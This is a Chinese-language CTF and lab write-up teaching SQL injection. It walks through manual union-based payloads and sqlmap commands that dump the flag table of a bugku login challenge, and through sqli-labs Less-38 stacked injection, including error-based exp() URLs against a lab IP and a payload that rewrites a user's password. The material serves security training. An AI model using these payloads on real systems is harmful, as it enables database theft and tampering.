联合查询注入：

bugku-这是一个神奇的登录框

手工注入：

点吧，输入0’发现还是：

输入0" 发现报错：

确定可以注入，判断字段有多少个 0"order by 1,2,3# 发现：

说明有两列。

输入 0" union select database(),2# ，得到库名：

继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # （0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# ）得到表名：
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名：

继续输入 0" union select flag1,2 from flag1# (爆字段里的内容，中的表明是不加单引号的)得到该列下的值：

sqlmap：

查看一下源码：

是post提交，url明显提示是个sql注入，由于post提交，要sql和burp结合起来使用。

首先burp抓包，抓到包后选择存到txt文件中：（随便输入账号密码）

我保存到了D:\1.txt

然后打开sqlmap，输入指令：sqlmap.py -r "D:\1.txt" -p admin_name --dbs

解释一下 -r是读文件后面是刚才保存的绝对路径，-p是参数，也就是注入点（选了admin_name是注入点） --dbs意思是想获取数据库名字

可以看到sqlmap获得了数据库的名字：

应该是这个bugkul1，再继续爆表，命令：sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables

解释：-D是表示选择了后面的这个数据库 --tables是想获取表

可以看到爆出了表

应该在flag1这个表里，继续爆列名

命令：sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面不过加了一个-T 指定表

可以发现爆出了列名

flag1这个列最后查字段命令：sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

解释：同上面 --dump是获取字段的命令

（在这过程中可能会让你选择Y或者N 我直接回车的）

可以看到爆出了flag

堆叠注入

Sqlilabs-less38

根据关卡提示，得知 38关为堆叠注入，页面如下。

如果堆叠注入的情况下，首先是考虑闭合前面的语句，再执行第二个语句;所以构建payload "?id=1';第二条SQL语句 --+" 或者 "?id=1;第二条SQL语句 --+"

从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;

现在尝试一下爆出数据库、表、列名等相关信息。尝试得到库名 “security”

尝试获取 “security” 数据库下的表名得到[emails,referers,uagents,users]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)a));%20--+

得到了一个 “users” 表的信息，现在看一下 “users” 表的列名 [id,username,password]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a));%20--+
构造堆叠注入的payload ?id=1'; update users set password = 'Dumb' where username = 'Dumb'; --+